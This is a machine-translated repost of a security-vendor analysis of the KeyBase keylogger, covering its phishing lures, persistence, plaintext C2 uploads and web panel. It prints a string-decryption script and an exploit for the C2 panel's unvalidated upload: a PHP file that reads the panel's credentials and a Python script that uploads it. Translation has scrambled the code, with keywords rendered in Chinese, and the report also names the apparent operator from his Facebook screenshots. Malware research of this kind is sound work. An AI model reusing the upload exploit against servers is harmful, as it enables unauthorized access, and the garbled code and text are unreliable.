KeyBase 键盘记录恶意软件家庭暴露
Resolution
转载从单位42。
近几个月来, 我们的团队一直在追踪一个名叫 KeyBase 的键盘记录恶意软件家族, 自2015年2月以来一直在野外。恶意软件配备了多种功能, 可以直接从作者购买50美元。它已部署在针对多个行业的组织的攻击中, 并且主要通过网络钓鱼电子邮件提供。
总体而言, 帕洛阿尔托网络自聚焦威胁情报服务在过去四月中, 在大约1500个独特的会话中发现了295个独特的样本. 攻击主要针对高科技、高等教育和零售业。
恶意软件分发和目标
KeyBase 于2015年中旬首次被观察到。在那之前不久, 域 ' keybase [.]在 ', 被登记了作为主页和网上商店为 KeyBase 键盘记录。
域名: KEYBASE。在
已创建 On:04-Feb-2015 08:27:44 UTC
最新更新 On:05-Apr-2015 19:20:38 UTC
到期 Date:04-Feb-2016 08:27:44 UTC
这项活动与用户在 2015年2月7日hackforums.net 论坛上宣布 KeyBase 的 "Support™" 的首次发帖是一致的。在论坛帖子中, 恶意软件兜售以下功能:
- 高级键盘记录
- 完全未检测到的扫描-时间和运行时 (以后删除)
- 用户友好的 web 面板
- Unicode 支持
- 密码恢复
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-forums.png
图 1。KeyBase 张贴在 hackforums.net
从2015年2月开始, 大约有1500个KeyBase的会议被野火抓获, 我们可以看到如下:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-2.png
图 2。自动对焦中的 KeyBase 时间线
我们还可以使用自动对焦快速确定目标行业:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-3.png
图 3。目标行业的自动对焦
目标公司遍布全球, 位于许多国家。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-4.png
图 4。目标国家的自动对焦
此恶意软件主要是通过网络钓鱼电子邮件使用常见的诱饵。下面可以看到附件文件名的一些示例:
- 购买 Order.exe
- 新 Order.exe
- 文档27895.scr
- 付款 document.exe
- PO #7478 exe
- 逾期 Invoices.exe
下面是一个电子邮件传递 KeyBase 的例子。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-5.png
图 5。KeyBase 网络钓鱼电子邮件
总的来说, 42 单元已经看到了大量使用 KeyBase 的独立市场活动。由于软件可以很容易地被任何人购买, 这是不足为奇的。如下图所示, 已确定了大约50个不同的命令和控件 (C2) 服务器, 多达50个唯一的示例连接到一个 C2。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-6.png
图 6。KeyBase 市场活动图
恶意软件概述
KeyBase 本身是使用. NET 框架在 c# 中编写的。这些事实使我们能够对底层代码进行反编译, 并识别键盘记录的关键功能和特征。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-7.png
图 7。KeyBase 徽标
KeyBase 中的功能包括以下内容:
- 启动时显示网站
- 屏幕截图
- 下载/执行
- 持久性
- 杀定时器
当恶意软件最初执行时, 将生成一系列线程。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-8.png
图 8。KeyBase 主要功能
根据攻击者在生成过程中指定的选项, 在新线程中生成的各种函数可能是惰性的。如果未启用某个功能, 则函数的外观类似于以下内容:
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-9.png
图 9。KeyBase 中的惰性函数
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-10.png
图 10。KeyBase 建设者
作者对代码中使用的各种字符串使用了一些简单的混淆技术。其中的示例包括替换已添加到字符串中的单个字符, 以及对字符串执行反向操作。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-11.png
图 11。使用替换的字符串混淆
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-12.png
图 12。使用反向的字符串混淆
此外, 作者还使用了一个 "加密" 类。此类用于解密在代码中找到的许多字符串。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-13.png
图 13。KeyBase 加密类
对此反编译代码的引用是在 hackforums.net 上的旧发布中发现的, 用户的 "空灵" 提供了示例代码。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-14.png
图14。hackforums.net 上的加密代码过帐
我们看到作者在动态加载许多 Microsoft Windows api 时使用的 "DecryptText" 功能。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-15.png
图15。KeyBase 中的模糊 API 函数
下面的 Python 代码可用于解密这些字符串。
蜡笔语法荧光笔 v2.6。6
#/usr/bin/python
# 编码: utf-8-
字符串 = [u ' ĈőŘĝŏŒįķŎŖġŎŠĠz ', \
u "ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤ", \
u "ķůƒĻŮƊůőŮšŖŴƌůŨž¥" \
u "ńŰƓļůƋŰŒůŢŗŵƍŰũſ¦" \
u "ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ" \
u "ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097" \
u "ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ¥" \
u "ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098" \
u "ńűƎřŹŷŴįŴƈŔŧśƀ: \
u "ŵƢDŽƏʀưƑƋƯƶŻƝØ"]
键 = ' KeyBase '
def 12月 (str, 关键字):
key_len = len (键)
出 = ""
对于 c, s 在枚举 (str [:-1]):
出 + = 人权中心 (奥德 (s)-(关键字 [c%key_len])-奥德 (str [-1]))
退回
字符串中的 s:
打印 "解码:% 25s | 已编码:%s "% (12月 (s, 键), 代表处 (s))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #/usr/bin/python # 编码: utf-8- 字符串 = [ u' ĈőŘĝŏŒįķŎŖġŎŠĠz ', \ u"ŝƕƸšƔưƕŷƔƇżƚƲƕƎƤ", \ u"ķůƒĻŮƊůőŮšŖŴƌůŨž¥" \ u"ńŰƓļůƋŰŒůŢŗŵƍŰũſ¦" \ u"ŨƚƶľśƌƐƅſƧźƌƚƏŔƚƭżƌƱƟÆ" \ u"ĴšűĽňżūŅšƃŌŅůũőŮƉ \ u0097" \ u"ŇżƇśūŨżşŭƃŚŹťůŝŹƐŠ¥" \ u"ıűŦňŦŬŭĹŦŶőňűŐňŠƅŃŨŹ \ u0098" \ u"ńűƎřŹŷŴįŴƈŔŧśƀ: \ u"ŵƢDŽƏʀưƑƋƯƶŻƝØ" ] 键 = ' KeyBase ' def 12月(str, 关键字) : key_len = len(键) 出= "" 对于 c, s 在枚举(str[:-1]): 出+ =人权中心 (key_len) ( 关键字[c%]) -奥德(str[-1] )) 退回 字符串中的 s : 打印 "解码:% 25s | 已编码:%s " % (12月(s, 键), 代表处(s) ) |
[格式时间: 0.0047 秒]
持久性
KeyBase 中的持久性 (如果启用) 是使用两种技术实现的: 将恶意软件复制到启动文件夹或将运行注册表项设置为在启动时自动运行。当 KeyBase 将自己复制到启动文件夹时, 它会命名为 "Important.exe"。这是由作者静态设置的, 无法由用户在当前版本中更改。以下运行注册表项中使用的密钥由用户设置, 始终为32字节的十六进制值。
HKCU \ 软件 \ 微软 \ Windows \ CurrentVersion \ 运行 [32 字节密钥]: [到可执行文件的路径]
Keylogging
Keylogging 在 KeyBase 中主要是在一个单独的类中完成的, 命名为 "KeyHook"。当类与github 上的公共可用存储库共享一个名称时, 该类似乎是自定义写入的. 在自定义时, 类本身使用了一种非常常用的技术, 即使用 Microsoft Windows SetWindowsHookExA来钩住受害者的键盘.
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-16.png
图16。通过 SetWindowsHookExA 挂钩键盘
作者将按预期处理相应的键盘事件。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-17.png
图17。处理键盘事件
该类还具有处理 Unicode 字符的能力, 以及获取前景窗口的名称。这使得恶意软件不仅可以识别被按下的按键, 而且还允许将按键发送到的应用程序。
命令和控制 (C2)
与远程服务器的所有通信都通过 HTTP 进行。数据不会以任何方式加密或混淆。在初始执行时, KeyBase 将对远程服务器执行初始签入, 如下所示。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-18.png
图18。初始 KeyBase 通知 HTTP 获取请求
请求中不包含许多 HTTP 标头。这提供了一种将活动标记为恶意的简单技术。还必须注意, 使用请求中包含的硬编码获取变量来检测活动是相当初级的。虽然受害者机器名称和当前时间会有所不同, 但请求的其余部分将保持静态。
KeyBase 还可以将以下数据发送回其 C2 服务器:
- 击 键
- 剪贴板中
- 屏幕截图
下面可以看到这些数据的示例。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-19.png
图19。KeyBase 上载剪贴板数据
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-20.png
图20。KeyBase 上载击键数据
在与 C2 服务器的通信过程中, KeyBase 将使用各种获取参数包括原始剪贴板和击键日志数据。此数据是 URI 编码的, 但以明文形式发送。
最后, Keybase 还将使用特定的 URI 上传截图。路径 '/图像/上传. php ' 是硬编码内的恶意软件。所有发送回其 C2 服务器的图像将放置在 "/图像/图像/" 路径中。上传的数据再次发送未加密, 我们可以看到下面。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-21.png
图21。KeyBase 上传截图图像
Web 面板
web 面板本身不提供任何创新特性。它使用一个简单的红色/灰色配色方案如下所示。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-22.png
图22。KeyBase web 面板
该面板允许攻击者快速查看受感染的计算机、击键、截图、剪贴板数据和密码数据。不幸的是, KeyBase 的作者不使用分页, 这会导致在向攻击者显示大量数据时性能较差。
有趣的发现
在我们的研究过程中, 42 单元发现在查看 '/图像/图像/' 路径时不需要进行身份验证。一个 C2 服务器特别是脱颖而出, 因为它似乎操作员正在测试 KeyBase 在他/她的本地机器上。因此, 他的机器截图被上传到他的服务器上, 并可以被广大公众观看。在下面的截图中, 我们可以清楚地看到 "KeyBase v1.0" 文件夹。此文件夹几乎肯定包含 KeyBase 安装。在查看操作员的桌面时, 我们还可以看到许多其他的键盘记录器, 如 "鹰眼键盘" 和 "骑士日志"。也值得注意的是一个流行的 crypter 名为 "AegisCrypter"。最后, 我们还可以看到, 用户从事盗版, 因为 "哈比人" 和 "愤怒" 的副本也出现在桌面上。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-23.png
图23。KeyBase 操作员桌面截图
在继续检查上载的图像时, 我们还通过远程桌面识别用户登录到 Windows Web 服务器 2008 R2 实例。这似乎是攻击者使用 "涡轮-邮件 2.7.10" 实例启动垃圾邮件活动的地方。不幸的是, 似乎操作员忘记了他/她的用户名/密码在这个特殊的时刻。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-24.png
图24。KeyBase 操作员发送网络钓鱼电子邮件
进一步检查上传的截图显示用户的活动登录到他/她的 Facebook 帐户。该用户看起来被命名为 ' 中国 Onyeali ', 并观察到讨论他/她的一些最新的努力。具体地说, 我们看到一个链接到在 rghost 上承载的. rar 文件 [.]net 包含以下文件. 我们还看到操作员在另一个聊天窗口讨论鹰眼键盘记录。接线员的 Facebook 页面声称他/她住在尼日利亚的 Mbieri。我们在去年7月的419 发展报告中曾报道尼日利亚的参与者使用现成的工具攻击业务。该用户已被报告给 Facebook 安全小组。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-25.png
图25。KeyBase 操作员登录 Facebook
进一步有趣的发现
其他有趣的发现是在研究后端 C2 代码。特别是, 对上载. php 文件进行了检查和分析, 因为此文件处理文件上载到服务器。正如我们所看到的, 对上载到远程服务器的文件类型没有验证。
http://researchcenter.paloaltonetworks.com/wp-content/uploads/2015/06/hack-figure-26.png
图26。KeyBase 截图上传 PHP 脚本
这从安全角度提出了一个问题, 因为第三方只需将 PHP 脚本上载到 "/图像/图像/" 目录中即可获得未经授权的访问。下面的 php 代码可用于读取 KeyBase 的 "配置. PHP" 脚本, 其中包含 web 面板的用户名和密码。
蜡笔语法荧光笔 v2.6。6
<?php?>
$file = '。/../配置. php ";
回声 "它的工作!<br>";
如果 (file_exists ($file)) {
回声 "读取文件"。<br>";
回声 file_get_contents ($file);
}
?>
1 2 3 4 5 6 7 8 9 10 | <?php?> $file = '。/../配置. php "; 回声 "它的工作!."<br>"; 如果 (file_exists($file)) { 回声 "读取文件".<br>"; 回声 file_get_contents($file); } ?> |
[格式时间: 0.0047 秒]
此外, 还可以使用以下 Python 代码上载此文件并读取结果。
蜡笔语法荧光笔 v2.6。6
导入请求
导入系统
如果 len (argv)! = 2:
打印 "用法:%s [php_file]"% __file__
系统出口 (1)
URL = ""
打印 "发送请求..."
multiple_files = [(' 文件 ', (' 双赢 JJFOIJGL_6_5_14_22_2 php ', 打开 (sys argv [1], ' rb '))])]
r = 请求. 帖子 (URL + "图像/上载. php", 文件 = multiple_files)
打印 "结果:"
打印
r = 请求. 获取 (URL + "图像/图像/JJFOIJGL_6_5_14_22_2. php")
打印 r. 文本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 导入请求 导入系统 如果 len(sys.argv) = 2: 打印 "用法:%s [php_file]" % __file__ 系统.出口(1) URL = "" 打印 "发送请求..." multiple_files = [(' 文件 ', (' 双赢 JJFOIJGL_6_5_14_22_2 php ', 打开(sys.argv[1], ' rb '))]] r =请求.帖子(URL + "图像/上传. php", 文件=multiple_files) 打印 "结果:" 打印 r =请求.获取(URL + "图像/图像/JJFOIJGL_6_5_14_22_2. php") 打印 r.文本 |
[格式时间: 0.0028 秒]
结论
总的来说, 这个 KeyBase 恶意软件是相当简单。它缺少一些更受欢迎的恶意软件家族中的一些功能, 而 C2 web 面板包含的安全漏洞可能允许第三方获得未经授权的访问。KeyBase 的生成器提供了一个易于使用、用户友好的界面;但是, 许多选项被硬编码到恶意软件本身。有些示例包括: 在复制到维护持久性时使用文件名 KeyBase, 以及它在命令和控制阶段使用的各种 URI 路径。
虽然这个恶意软件有一些复杂的问题, 42 单元观察到攻击者的使用有了显著的持续增长, 通常针对高科技, 高等教育和零售业。帕洛阿尔托网络客户通过野火进行保护, 这可以检测 KeyBase 为恶意。读者也可以使用提供的指标来部署保护。
有关示例哈希及其相关域和 IP 地址的列表, 请参见下面的链接.